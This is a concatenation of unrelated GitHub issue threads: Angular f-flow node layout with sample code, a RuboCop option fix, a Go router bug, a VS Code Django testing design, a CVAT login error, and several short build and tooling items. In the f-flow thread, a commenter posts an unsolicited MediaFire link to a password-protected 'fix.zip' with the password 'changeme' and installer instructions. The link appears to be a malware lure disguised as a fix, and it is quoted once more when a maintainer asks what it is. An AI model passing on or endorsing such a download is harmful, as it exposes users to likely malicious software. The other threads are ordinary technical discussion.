Do we have image and dynamic button adding support in f-flow ?

Description
I have a few questions -
I want to build something like below where an image can be added in the flow diagram.
Also, is there a way where we can add multiple buttons dynamically on run time ?
Also, how do we store the entire diagram on backend and serve that whenever user requests it ? Any documentation help would appreciated. Thanks!

Additional Context
No response

Hello. Yes, all of this is possible using our library. You can find an example of how to implement this in this repository: https://github.com/Foblex/f-flow-example.
You can also see a live example here: https://foblex.github.io/f-flow-example/.
If you have any further questions or need assistance, feel free to reach out!

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@Bongton please explain what this is?

Download https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file password: changeme In the installer menu, select "gcc."

Please explain what this is?

@rwadkar-mastercard Did the answer help you?

No, not really. The demo helped little bit but I found the documentation a little weak.

I still do not know how everything would work out the way I want.
I basically want support for below card contents:

Header
Image
Text
Action buttons (Can be multiple) which need to be added dynamically. These buttons should have "remove" button and an output connection as well.
Footer text

With all this, I want to also know how I would be saving this structure in backend.
I am also not sure on how I would read this using backend script. So basically, I want to generate a flow where in backend, I want the script to execute each step based on the input from previous connection.

@rwadkar-mastercard  To achieve the structure you’re aiming for, the node layout in your flow will look something like this:
<f-flow fDraggable>
  <f-canvas>

        Media + Buttons

        Welcome to Urban Studioz. Select from the options below

<button>close icon</button>Track Order

<button>close icon</button>Talk to an Agent

  </f-canvas>
</f-flow>

Based on this structure, your code might look like this:
<f-flow fDraggable>
  <f-canvas fZoom>
    @for (connection of flow.connections; track connection.id) {
      <f-connection [fConnectionId]="connection.id"
                    fBehavior="fixed"
                    fType="bezier"
                    [fOutputId]="connection.from" [fInputId]="connection.to">
        <svg viewBox="0 0 10 10" fMarker [type]="eMarkerType.START" [height]="10" [width]="10" [refX]="5" [refY]="5">
          <circle cx="5" cy="5" r="2" stroke="none"></circle>
        </svg>
        <svg viewBox="0 0 6 6" fMarker [type]="eMarkerType.END" [height]="6" [width]="6" [refX]="6" [refY]="3">
          <path d="M0,0 L6,3 0,6Z" stroke="none"></path>
        </svg>
        <svg viewBox="0 0 10 10" fMarker [type]="eMarkerType.SELECTED_START" [height]="10" [width]="10" [refX]="5"
             [refY]="5">
          <circle cx="5" cy="5" r="2" stroke="none" fill="blue"></circle>
        </svg>
        <svg viewBox="0 0 6 6" fMarker [type]="eMarkerType.SELECTED_END" [height]="6" [width]="6" [refX]="6" [refY]="3">
          <path d="M0,0 L6,3 0,6Z" stroke="none" fill="blue"></path>
        </svg>
      </f-connection>
    }

    @for (node of flow.nodes; track node.id) {

          {{ node.header }}

          {{ node.description }}

          @for (button of node.buttons; track button.id) {

<button (click)="removeConnection(button.id)">close icon</button>{{ button.name }}

          }

    }
  </f-canvas>
</f-flow>

::ng-deep f-flow {

  .f-background {
    line {
      stroke: rgba(0, 0, 0, 0.6);
    }
  }

  .f-connection {
    .f-connection-drag-handle {
      fill: transparent;
    }

    .f-connection-selection {
      fill: none;
    }

    .f-connection-path {
      fill: none;
      stroke: gray;
      stroke-width: 2;
    }

    .f-connection-text, .f-connection-center {
      fill: gray;
      color: gray;
    }
  }

  .f-line-alignment {
    .f-line {
      background-color: red;
    }
  }

  .f-node {
    width: 200px;
    background-color: white;
  }
}

And the corresponding structure for managing your flow might be:
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnInit } from '@angular/core';
import {
  EFMarkerType,
  FFlowModule,
} from '@foblex/flow';
import { take } from 'rxjs';

@Component({
  selector: 'example',
  templateUrl: './example.html',
  styleUrls: ['./example.scss'],
  standalone: true,
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [
    FFlowModule,
  ]
})
export class DbManagementFlowComponent implements OnInit {

  protected flow = {
    nodes: [],
    connections: []
  };

  protected readonly eMarkerType = EFMarkerType;

  constructor(
    private apiService: ApiService,
    private changeDetectorRef: ChangeDetectorRef
  ) {
  }

  public ngOnInit(): void {
    this.getData();
  }

  private getData(): void {
    this.apiService.getData().pipe(take(1)).subscribe((response) => {
      this.flow = response;
      this.changeDetectorRef.markForCheck();
    });
  }

  public removeConnection(buttonId: string): void {
    // logic to remove connection
  }
}

your data structure:
export const YOUR_DATA = {
  connections: [{
    from: 'node-2-button-id',
    to: 'node-1-id',
  }],
  nodes: [{
    id: 'node-1-id',
    position: { x: 100, y: 100 },
    header: 'Media + Buttons',
    image: 'https://via.placeholder.com/150',
    description: 'Welcome to Urban Studioz. Select from the options below',
    buttons: [{
      id: 'track-order-id',
      name: 'Track Order',
    }, {
      id: 'talk-to-agent-id',
      name: 'Talk to an Agent',
    }],
  }, {
    id: '2',
    position: { x: 300, y: 300 },
    header: 'Other node header',
    image: 'https://via.placeholder.com/250',
    description: 'Other node description',
    buttons: [{
      id: 'node-2-button-id',
      name: 'node 2 button',
    }],
  }]
}

With this setup, each card in your flow will include a header, image, description, and dynamically added action buttons that can be connected to other nodes. The structure is stored as nodes and connections objects, which you can easily send to the backend and retrieve when needed.
Let me know if you need any more clarification or help with specific parts of the implementation!

@rwadkar-mastercard Did the answer help you?


[Fix #2194] allow any options with --auto-gen-config

Fixes #2194 , allowing you to add options after --auto-gen-config, for example rubocop --auto-gen-config --rails. Users were already able to do rubocop --rails --auto-gen-config.
The output in .rubocop_todo.yml does not accurately reflect the parameters passed in, but that was already the case - that can be seen by doing rubocop --rails --auto-gen-config with the current version of RuboCop. As allowing any option with --auto-gen-config, and accurately displaying what parameters are passed in, can be fixed independently of each other, I made the latter a separate PR:
#2267 .

:+1: OK with me! We have to assume that people know what they're doing when they combine --auto-gen-config with other options. Hope we can find a backwards compatible way to show the passed options in .rubocop_todo.yml.

This has to be rebased on top of the current master.

@agrimm Ping! :smile:

Just one more tiny remark - allow in the commit message should be capitalised.

Unfortunately you'll have to rebase the branch one more time. Too much changes. Btw, I don't notifications when a PR is updated, so it's a good idea to mention in a comment and we can merge it right away.

Merged manually https://github.com/bbatsov/rubocop/commit/c6a63a3e34e250f06f44a43362efd03c4b645325

Thanks for doing the merge.


Routing bug with params and static routes

I think I've hitted another unexpected artifact of #21 and #8.
package main

import (
    "net/http"
    "log"
    "fmt"

    "github.com/husobee/vestigo"
)

func main() {
    router := vestigo.NewRouter()

	router.Get("/health", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "health")})
	router.Get("/_/accounts/foo", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "not param")})
	router.Get("/_/:project/bar", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "param")})
	log.Fatal(http.ListenAndServe(":10000", router))
}

$ curl localhost:10000/_/a/bar
Not Found

$ curl localhost:10000/_/b/bar
param

$ curl localhost:10000/_/abcd/bar
Not Found

$ curl localhost:10000/_/bcd/bar
param

/health route seems unrelated, but you need all three routes to trigger the bug.

Well, this has been a pesky bug :) I have put together a PR: https://github.com/husobee/vestigo/pull/33 which I hope completely resolves this issue.  I used the tests from https://github.com/husobee/vestigo/pull/30 which were previously failing, and now they pass.  @ernestoalejo: if you would be so kind as to try my "issue29fix" branch to see if this is a suitable solution I would appreciate it!
Thanks all for the work isolating this problem.

The branch seems to have fixed the issue both in the test code (as expected, it is now in your tests) and the real code that triggered it in the first place.


Proposed design for Django testing on rewrite

REVISED 11/1/2023 with updates regarding a new way to implement this in vscode.
Background
With the amazing help from @mh-firouzjah, we are getting close to Django testing support in VS Code! Below is a proposed design on how Django testing would look with a few outstanding questions where we are looking for input from Django developers.
One important part of this proposal is that it will be part of the new testing rewrite (see the release notes for a short explanation of what we are working on). The rewrite will be fully stable soon but for now, it is under the experiment you can turn on by setting"python.experiments.optInto": ["pythonTestAdapter",] in your user settings. Additionally, this proposal is based on another proposal we are working on here, that will change how testing args are configured in VS Code for python. This will move to having separate JSON entries with args for run and discovery as well as allow for environment variables to be set. Please review this proposal as the design of the json object with the Django enablement you see below will be based on that design principle (and will therefore align will all testing argument input in python for VS Code).
Proposal Introduction
Since Django testing is based off the unittest library, we will be hooking in Django test support into our rewritten testing framework for unittest. How unittest now works is the extension runs a subprocess which then calls a script for discovery or execution. These scripts extend unittest functionality to gather results and format them for return. (see more on how this would work with Django later)
User Facing Design
From a user perspective, this will look like just two additional environment variables we will introduce that you would configure on your setup. The JSON for test configuration will be the same as all other testing with our new design, but with the environment variables "DJANGO_TESTING" and "DJANGO_MANAGE_PY_PATH". "DJANGO_TESTING" when set to true will then make our script run Django setup, the default value is false. "DJANGO_MANAGE_PY_PATH" is a custom path to your manage.py you want to run and the default is just looking for manage.py in your cwd. Please add your feedback on these two environment variables below.

Are these names good?
Are the environment variables intuitive even for beginners?
Is the default for manage.py script what people would want?
(If you have feedback on the general json args structure please see the overarching issue)

Design Examples
not using Django at all, regular proposal design of new testing args
{
      "name": "Python: Run Unittest Tests",
      "type": "python-unittest",
      "request": "launch",
      "args": ["-v"],
      "env": {
	"PYTHONPATH": "${workspaceFolder}"
      }
    },

enable Django testing but use the default setup script
{
      "name": "Python: Run Django Tests",
      "type": "python-unittest",
      "request": "launch",
      "args": ["-v"],
      "env": {
	"PYTHONPATH": "${workspaceFolder}",
        "DJANGO_TESTING": "true",
      }
    },

enable Django testing and specify the given setup script
{
      "name": "Python: Run Django Tests",
      "type": "python-unittest",
      "request": "launch",
      "args": ["-v"],
      "env": {
	"PYTHONPATH": "${workspaceFolder}",
        "DJANGO_TESTING": "true",
	"DJANGO_MANAGE_PY_PATH": "/path/to/manage.py",
      }
    },

Implementation
You can see the full draft of how to would look here. We have not finished discovery yet as this draft is for execution. I will outline the general steps we will take below to help you follow along with the draft's design. Feedback on the draft and design is very appreciated.

VS Code Python extension calls execution.py
within execution.py, the env var DJANGO_TESTING_ENABLED is checked
if DJANGO_TESTING_ENABLED is true, run django_execution_runner(start_dir)
in django_execution_runner get "MANAGE_PY_PATH" env var if exists
set manage.py path to the env var if present or default which is cwd + "manage.py"
set custom_test_runner = "django_test_runner.CustomTestRunner"
subprocess.run("") with args python manage_py_path test --testrunner  custom_test_runner
in CustomTestRunner set kwargs["resultclass"] = UnittestTestResult
now UnittestTestResult as defined in execution.py will be used for processing results
within UnittestTestResult, see formatResult which is the primary difference, this function also calls a send method to return data to the VS Code Python extension
cleanup happens as normal from manage.py test

Questions

Do I need to use the custom runner / result class for discovery too? What does Django discovery do differently compared to just unittest discovery?
How often are people editing to include their own runners or resultclass? Is this design going to conflict with how many people run Django testing?
Any other concerns / questions?

Conclusion
Thank you for reading this issue and we appreciate all your comments and suggestions! We are always looking for contributions to our repo so please do so if you have any interest or thread here if you don't know where to start. One important step in this process will be writing test cases which we will need many different suggestions on what cases to cover.

Update: I have created a secondary design for how Django testing could be implemented: https://github.com/microsoft/vscode-python/pull/22222. This is only experimental at this time but could be an improved solution because it allows the extension to directly call manage.py test exactly like the command line which from talking with @mh-firouzjah is better.
I put this together quickly in hopes of getting a working idea out by Django-Con but please send feedback on if this would work / what changes would need to be made (like if there is a better way than directly editing settings.json).
Thanks!

Hello everyone! As I mentioned in my last comment, we have a second design iteration for Django testing in VS Code which is drafted at https://github.com/microsoft/vscode-python/pull/22222. I have now updated the body of this proposal to include this new design. The proposal above has new questions and information so please re-review and submit your feedback. For anyone who is just joining this thread, the proposal is up to date, as revised on 11/1/2023 with our new plan for implementation. Thanks!

Thank you to everyone who upvoted this issue! Since the community showed interest in this feature request we will leave this issue open as something to consider implementing at some point in the future.
We do encourage people to continue 👍 the first/opening comment as it helps us prioritize our work based on what the community seems to want the most.

while enabling Django testing and optionally specifying the given setup script (DJANGO_MANAGE_PY_PATH) it seems a good idea to (optionally) specify the DJANGO_SETTINGS_MODULE (path to settings.py or any alternative module) also this could be derived from the content of manage.py. However, specifying this item will lead to less coding and effort in obtaining the correct value.
Path to manage.py is required for test execution if intending to use manage.py test.
Path to settings.py is required for test discovery if intending to use built-in unittest test discovery utility. this requires importing django and invoking the django.setup() function (5 lines of code), as well as setting the DJANGO_SETTINGS_MODULE as an environment variable.
    {
      "name": "Python: Run Django Tests",
      "type": "python-unittest",
      "request": "launch",
      "args": ["-v"],
      "env": {
	"PYTHONPATH": "${workspaceFolder}",
        "DJANGO_TESTING": "true",
	"DJANGO_MANAGE_PY_PATH": "/path/to/manage.py",
        "DJANGO_SETTINGS_MODULE": "/path/to/settings.py",
      }
    },

For what it's worth, we're using a custom runner that runs all tests in parallel, spins up coverage, lints, and spits out artifact files (happy to share the code if anyone wants it).
Support for custom runners isn't super necessary for our use case. We'd probably start using vs code testing to spot-check individual tests (still very useful) and continue to run python manage.py test to run the full suite to do all the extra stuff before sending up a commit.

well, you're right. python manage.py test will do the job but with a as part of the implementation of the solution to the problem this is also covered. I mean when vscode can find each and every single test, so it is obvious that it found all of them and is able to run all of them 😄. (the run test buttons will be available as per test function, class, module, or the whole project)

I've had issues with the current test functionality not reporting parallel test runs properly (they run in subprocesses). Granted, I was trying to hack things together to try and make things work.
Will the new implementation be able to display test results from parallel runs?

Will the new implementation be able to display test results from parallel runs?

well, as I'm not sure about your idea about "parallel runs" I can't tell it will work as you want or not, but I mentioned that the "run test buttons" will be properly working and we can click on some buttons before the task of previously clicked ones finish or even by clicking on the button to run all tests defined within a class or a module as the same time, so it seems the answer is Yes.

Will the new implementation be able to display test results from parallel runs?

python manage.py test --parallel is an option.

When I've tried doing this through hacks in the past, I found that any test result data from other processes didn't make it back to the vscode UI. Fingers crossed that a first-party solution will "just work".

Hello Everyone! The long requested ask is live!! Django tests are now supported in the VS Code python extension! Currently this is pre-release and would greatly appreciate Django users try this out and give feedback / submit bugs! (there will likely be bugs so I appeciate your patience as we work through them)
Steps:

Change your python extension so you are on the pre-release of the extension

specifically version v2024.13.2024081501

Add an environment variable called MANAGE_PY_PATH='path-string-to-manange.py-path' - below are steps specifically if you aren’t sure how to do this:

create a .env file
add MANAGE_PY_PATH='path-string-to-manange.py-path' to the file
add the following to your settings.json "python.envFile": "${workspaceFolder}/.env”  to pick up this file as part of the environment (edit path as necessary if .env not at root)

Now click on the “beaker” icon and pull up the test explorer panel
If not already selected, select “unittest” as your testing framework (you can also do the following in settings.json "python.testing.unittestEnabled": true,)
From here your tests should be discovered and populated in the tree and then run and debug should work! if this is not working try:

adding "python.testing.unittestArgs": [], maybe the tests just aren’t being found
look at the python output panel- this will show error messages
try from command line to make sure it works, then transfer that exact command to how it needs to be represented in VS Code. For example you have python manage.py test --arg to get the same in VS Code make MANAGE_PY_PATH='./manage.py' "python.testing.unittestArgs": [--arg]  and check the output as it should print the final command that is actually run
attempt using absolute path for manage.py if you are using relative to start

Let me know how it went! If it works or doesn’t please let me know so we can get an idea of how the feature is doing
To submit a bug:

try it again but with your logs on verbose, turn this one via “developer: set log level” command in the command palette
copy these logs and include them in your issue below
use the command palette and select python: report issue.. command, follow steps there and add your logs
either describe your repo structure / tests or include your repo (or it can be a minimal repro if your repo is private) so I can try it myself.

Thank you!


n.map is not function

My actions before raising this issue

[✓] Read/searched the docs
[✓] Searched past issues

Expected Behaviour
No Error
Current Behaviour
TypeError
n.map is not a function

TypeError: n.map is not a function
    at gc (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:372:508469)
    at Ko (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:57930)
    at Ri (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:66791)
    at Di (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:66610)
    at Ai (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:66293)
    at vs (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:107698)
    at cl (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:96717)
    at sl (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:96642)
    at Qs (http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:93672)
    at http://<IP_ADDRESS>/cvat-ui.580642541947bec0314e.min.js:346:45314

Steps to Reproduce (for bugs)

git clone https://github.com/opencv/cvat
cd cvat
docker-compose up -d
docker exec -it cvat bash -ic 'python3 ~/manage.py createsuperuser'

Context
Unable to login or Register
Your Environment

commit 6fad1764efd922d99dbcda28c4ee72d071aa5a07
Docker version 20.10.12, build e91ed57
No Docker Swarm or Kubernetes
Linux Os

Hi @dotsinspace
In order to we could help you, will you please provide:

Screenshots from the browser console?
From the browser Network tab?
CVAT version?

1.Screenshot

2. Network Tab

3.Latest ( Just Spined Docker Today. Expecting it to be 1.7.0)

@dotsinspace
Please, update page after opening network tab. As you can see it is empty on your screenshot.
Also you can look at #4388, there was similar issue and root cause was incorrect compose configuration.


Consider switching to a monorepo

I love this project, yet it's a bit counter-intuitive to have to install the dependencies of all plugins by going to "local-wallet" and running the "install-all" script. This is why Santiago opened #1.
Monorepos can enhance the dev ux a lot. Frameworks like yarn workspaces make it stupendously fast to manage a large number of dependencies across many packages. The trick is to cache the node modules at the root of the monorepo and, if there's a dependency with 2 or more versions, move them in their individual packages.
We use yarn workspaces at Sablier and it works great for us. Other projects like Truffle and Aragon use lerna to achieve the same goal.

I've been working on turning the repo into a Lerna project, although I admit it's been low priority.
@PaulRBerg Any thoughts on Lerna vs yarn workspaces?

Yarn workspaces does wonders and you can use it without lerna.
(I'm not sure why we still have the lerna.json file in our repo. Haven't touched it in months)

Project is fully using lerna & yarn workspaces, thanks @PaulRBerg!


Save always like an object

I saved the selection in an object, and depends the picker selection the value is sometimes an Hex and sometimes and object

Could you give an demo ?

Closing this issue for now. Let us know if you have anything to add.


Set up automated accessibility testing in the frontend

I'm leaving this PR for visibility on where I've got to on this task.
Currently automated accessibility testing will run on each page visit in our integration/E2E tests, and will cause those tests to fail. I see the next steps as:

Expand the rule exceptions until the tests pass (test failures should be visible in the Chrome dev console of the Cypress test window, as documented in the cypress-axe readme)
Remove the exceptions one-by-one as fixes are implemented so the exceptions are not needed

 Set up automated accessibility testing in the frontend

This is really helpful, thanks!

I'm confused about the warning that cypress-axe should be a dependency, rather than a devDependency, as CAS1 have it working as a devDependency.
We're doing import 'cypress-axe' in page.ts, rather than integration_tests/support/index.ts as CAS1 does. But that doesn't seem to work on CAS3, as webpack then gives errors when building the integration tests. I'm not sure what we're doing differently to CAS1 to cause that.

Looks good, thanks!


jquery: 1.11.3 -> 3.2.1

Semi-automatic update. These checks were performed:

built on NixOS
found 3.2.1 with grep in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1
found 3.2.1 in filename of file in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1

@GrahamcOfBorg build jquery

Success on aarch64-linux (full log)
Partial log (click to expand)
building
no Makefile, doing nothing
installing
'/nix/store/6l0bn5c5qh5iqkjy2najjzxpazhiwyxx-jquery-3.2.1.min.js' -> '/nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1/js/jquery.js'
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1
strip is /nix/store/lvx1acn1ig1j2km8jds5x3ggh3f2wa8v-binutils-2.28.1/bin/strip
patching script interpreter paths in /nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1
checking for references to /build in /nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1...
/nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1

Success on x86_64-darwin (full log)
Partial log (click to expand)
configuring
no configure script, doing nothing
building
no Makefile, doing nothing
installing
'/nix/store/6l0bn5c5qh5iqkjy2najjzxpazhiwyxx-jquery-3.2.1.min.js' -> '/nix/store/8yawa2i17gva84cp5009fw4k7zb3lxgw-jquery-3.2.1/js/jquery.js'
post-installation fixup
strip is /nix/store/4sdh09gmvl15cy0zb6i7mbvxh5syz206-cctools-binutils-darwin/bin/strip
patching script interpreter paths in /nix/store/8yawa2i17gva84cp5009fw4k7zb3lxgw-jquery-3.2.1
/nix/store/8yawa2i17gva84cp5009fw4k7zb3lxgw-jquery-3.2.1

Success on x86_64-linux (full log)
Partial log (click to expand)
building
no Makefile, doing nothing
installing
'/nix/store/6l0bn5c5qh5iqkjy2najjzxpazhiwyxx-jquery-3.2.1.min.js' -> '/nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1/js/jquery.js'
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1
strip is /nix/store/b0zlxla7dmy1iwc3g459rjznx59797xy-binutils-2.28.1/bin/strip
patching script interpreter paths in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1
checking for references to /tmp/nix-build-jquery-3.2.1.drv-0 in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1...
/nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1

jquery and jquery-ui are here only for reports of Nix test-driver
https://github.com/NixOS/nixpkgs/blob/master/nixos/lib/testing.nix#L58
I am not sure if they are to be updated.

Success on x86_64-darwin (full log)
Partial log (click to expand)
/nix/store/8yawa2i17gva84cp5009fw4k7zb3lxgw-jquery-3.2.1

Success on aarch64-linux (full log)
Partial log (click to expand)
/nix/store/rpmac1m7j64gv7gi7y984lxry0dhdg8n-jquery-3.2.1

Success on x86_64-linux (full log)
Partial log (click to expand)
building
no Makefile, doing nothing
installing
'/nix/store/6l0bn5c5qh5iqkjy2najjzxpazhiwyxx-jquery-3.2.1.min.js' -> '/nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1/js/jquery.js'
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1
strip is /nix/store/b0zlxla7dmy1iwc3g459rjznx59797xy-binutils-2.28.1/bin/strip
patching script interpreter paths in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1
checking for references to /tmp/nix-build-jquery-3.2.1.drv-0 in /nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1...
/nix/store/7wglxv9icfydgg7zkpisjml0d8ayn38v-jquery-3.2.1

@volth Then I think we should move these expressions from being attributes in all-packages.nix.


Canopy activation state

Motivation
We are now checkpointing up through Canopy activation. Our stateful sync tests assume cached state up through the Sapling activation on mainnet and testnet to run the test.yml workflow. Without updated state cache, the new sync_past_canopy_* will take much longer to run and usually timeout.
Solution

Update the test.yml workflow to use a new disk image to create test instance disks containing cached state up to Canopy activation for mainnet. When the testnet sync is complete, that will also be added in a separate PR.
The code in this pull request has:

[ ] Documentation Comments
[ ] Unit Tests and Property Tests

Review

Anyone
Related Issues

#1918
Follow Up Work
When testnet state cache through Canopy is available, resolve #1918 with that PR.

Confirmed w/ https://github.com/ZcashFoundation/zebra/actions/runs/671753291


api for security

@idrice24  add description when you open an issue
https://mns237-serverapi.herokuapp.com/api/
still provide hello world project ? can you fix it first?

yes

wE HAVE TO MOTIFIED CLIENT TO USES THE  WEB API NOW

update angular client to use your new  web api!!

Still open, i cannot use client to retrieve web api data!


update packages

:white_check_mark: Build TheIdServer 6.2.2-fix-dependencies1-0081 completed (commit https://github.com/Aguafrommars/TheIdServer/commit/b93cdb9fd8 by @)


Instrument submitting blobs to Celestia RPC

Summary

Categories: protocol-units.

Add logging to better see problems between m1-da-light-node and Celestia RPC.
Changelog

m1-da-light-node: increased logging around Celestia RPC to help troubleshooting problems.

Testing
Ran locally, seeing the errors and spans in the logs.

The relevant changes have been merged into main via #798.


Make "Go to OMS" permission driven

What is the motivation for adding/enhancing this feature?

Not all users have permission to log into OMS backend screens from apps. Like store fulfillment users are not allowed to open the backend screens.
Need to find the right permission to drive this on.

Now we need to implement these changes in all the apps.

Verified the issue on the Users App: The functionality is working correctly as intended. Only users with the "COMMERCEUSER_VIEW" permission can access the backend screen.


Arthur bandaryk.bazelify tclap

I've decided to update this PR cause I've found the newest version of tclap. check here

@ArthurBandaryk can you merge this?


use git commit hash as a docker image tag

that would make it easier to "cache" the ocis artifact in other repos that need it and that way don't need to rebuild it e.g. web
see https://github.com/owncloud/web/pull/4880#issuecomment-816429736 & https://github.com/owncloud/web/pull/4880#issuecomment-816443269

If we use this, we need to specify the oCIS commit SHA in the Starlark Drone definition in the Web repository. Currently this is done in another file which then behaves differently on PRs (merging does not happen for Drone definition). Is this a problem?

If we use this, we need to specify the oCIS commit SHA in the Starlark Drone definition in the Web repository. Currently this is done in another file which then behaves differently on PRs (merging does not happen for Drone definition). Is this a problem?

@individual-it is this a blocking limitation for you?

If I understand that correctly that would imply that in the test runs of web we would only to be able to use an ocis commit id from a commit of the master branch of ocis.
And the commit id would not be set in .drone.env but will be set in .drone.star
So to see if tests of a specific web feature branch run correctly with a specific feature branch in ocis we would have to set the the commitid and branch name in ocis: https://github.com/owncloud/ocis/blob/master/.drone.env
e.g. if you made a change to ocis that also require test changes in web

making branches in both repos with the changes

point both .drone.env to the corresponding branch on other side

merge web PR

point the web commit id in ocis to the new master commit id of web

merge ocis PR

point the ocis commit id in web to the new master commit id of ocis

making branches in both repos with the changes

point .drone.env in ocis to the corresponding branch in web

after tests on ocis side become green merge the PR

point the commit id of the ocis build in .drone.star to the newly build docker container of ocis

after tests in web become green merge the PR

point .drone.env in ocis again to master and the new commit id of web

the workflow would not be soo much different and not more complicated, the only downside I see is that the developers need to understand and remember that the web repo works differently with the commit ids than the ocis
@dpakach @phil-davis thought?

as discussed with @wkloucek this seems to create more issues that solve, so closing this


vsr: commit cancelation cleanup happens in commit_dispatch

Follow up to https://github.com/tigerbeetle/tigerbeetle/pull/1736
The current code where commit_stage is reset in sync_cancel_grid_callback looks very puzzling to me, feels much more natural to do that immediately upon the cancellation.
Am I missing the reason while we need the commit prepare to live while the grid is being canceled?

Fails with seed 402fe5de1626ba12a6f7287dbd90b54ce006baca, because sync_cancel_grid_callback observes non-idle commit stage, though I don't yet got it how that's possible.

I think the issue is that prefetch_state_machine and compact_state_machine are not interruptible, so we jump directly to canceling_grid. (i.e., if we set them to canceling_commit, there's no guarantee that they would ever dispatch again, since they might be waiting for a block that will never arrive.)

Ahh, that makes sense!


Should not output .d.ts files for dependent projects

Should not output .d.ts files for dependent projects otherwise including those projects and the library leads to typescript class conflicts.

Done


lazy doesn't compile when used with default

here is example from tutorial, but with added field with default:
const baseCategorySchema = z.object({
  name: z.string(),
  val: z.number().default(0),
});

type Category = z.infer<typeof baseCategorySchema> & {
  subcategories: Category[];
};

const categorySchema: z.ZodType<Category> = baseCategorySchema.extend({
  subcategories: z.lazy(() => categorySchema.array()),
});

Compiler complains
Type 'ZodObject<extendShape<{ name: ZodString; val: ZodDefault<ZodNumber>; }, { subcategories: ZodLazy<ZodArray<ZodType<Category, ZodTypeDef, Category>, "many">>; }>, "strip", ZodTypeAny, { ...; }, { ...; }>' is not assignable to type 'ZodType<Category, ZodTypeDef, Category>'.
  Types of property '_input' are incompatible.
    Type '{ name: string; subcategories: Category[]; val?: number | undefined; }' is not assignable to type 'Category'.
      Type '{ name: string; subcategories: Category[]; val?: number | undefined; }' is not assignable to type '{ name: string; val: number; }'.
        Types of property 'val' are incompatible.
          Type 'number | undefined' is not assignable to type 'number'.
            Type 'undefined' is not assignable to type 'number'.ts(2322)

I believe this is valid case

Getting the same issue here.  My types are more complex, but I can resume it with inforcing z.ZodType, somehow default types can also be undefined (which shouldn't be the case)

in #2435 this Problem got solved by using input instead of infer. No Idea why.

Yeah, you can change z.infer<typeof baseCategorySchema> to z.input<typeof baseCategorySchema>.
z.ZodType<Category> is equivalent to z.ZodType<Category, any, Category>, meaning both the input and output types are the same as Category. Its structure looks like this:
{
    name: string,
    val: number,
}

However, for baseCategorySchema, it looks like this:
baseCategorySchema['_input'] // { name: string, val: number | undefined }
baseCategorySchema['_output'] // { name: string, val: number }

So, the input type of Category doesn't match the input type of baseCategorySchema, which is why you're seeing the error.

I think I understand it.
infer is equivalent to output (see https://github.com/colinhacks/zod/blob/3032e240a0c227692bb96eedf240ed493c53f54c/README.md?plain=1#L2691-L2700 ). The input of z.number().default(0) is of type number | undefined while the output is just number (because of the default value).
When using infer, z.ZodType<Category> contains val: z.number()' so when assigning baseCategorySchema...(which containsval: z.number().default(0)`), the error gets triggered:
Types of property 'val' are incompatible.
  Type 'number | undefined' is not assignable to type 'number'.
    Type 'undefined' is not assignable to type 'number'.ts(2322)

When using input instead of infer, the two value types are equal.


[WIP] Support RLC Changelog Generation Based on Inline Usage

Feature

#8301

Solution

Scan the AST to get all the inline types that we don't care in next generation of breaking change detection tool
Add an post processor to remove all lines about inlinte types in changelog in current tool (so that we can add new features in the next breaking change detection tool and integrate with current tool seamlessly)

Result

use sdk\servicefabric\arm-servicefabric-rest\review\arm-servicefabric.api.md as test case

Before Post Process
Note that the test cover the type rename of the followings:

operation group (ClustersGet --> ClustersGet_DDD)
response type (ClustersDelete200Response --> ClustersDelete200ResponseAAA)
parameter type (ClustersUpdateMediaTypesParam --> ClustersUpdateMediaTypesParam_CCC, ClusterUpdateParameters --> ClusterUpdateParameters_BBB)
core type (ClusterVersionsGetParameters --> ClusterVersionsGetParameters_EEE)
nested type in the parameters (DiagnosticsStorageAccountConfigOutput --> DiagnosticsStorageAccountConfigOutput_FFF)
All of them are ignored as expected

Note that the green bar seperate before/after post process

Next

Enable in RLC SDK generation

wait, let'me test more cases

Hi @weshaggard could you approve this pr? I edited root .gitignore in previous commit, I reverted it, but it still requires Azure/azure-sdk-eng to review.


Able to support floating tasks

Support tasks without timing and date

Task Manager now able to support created edit and deletion of basic floating task.


enhancement Fabric Port?

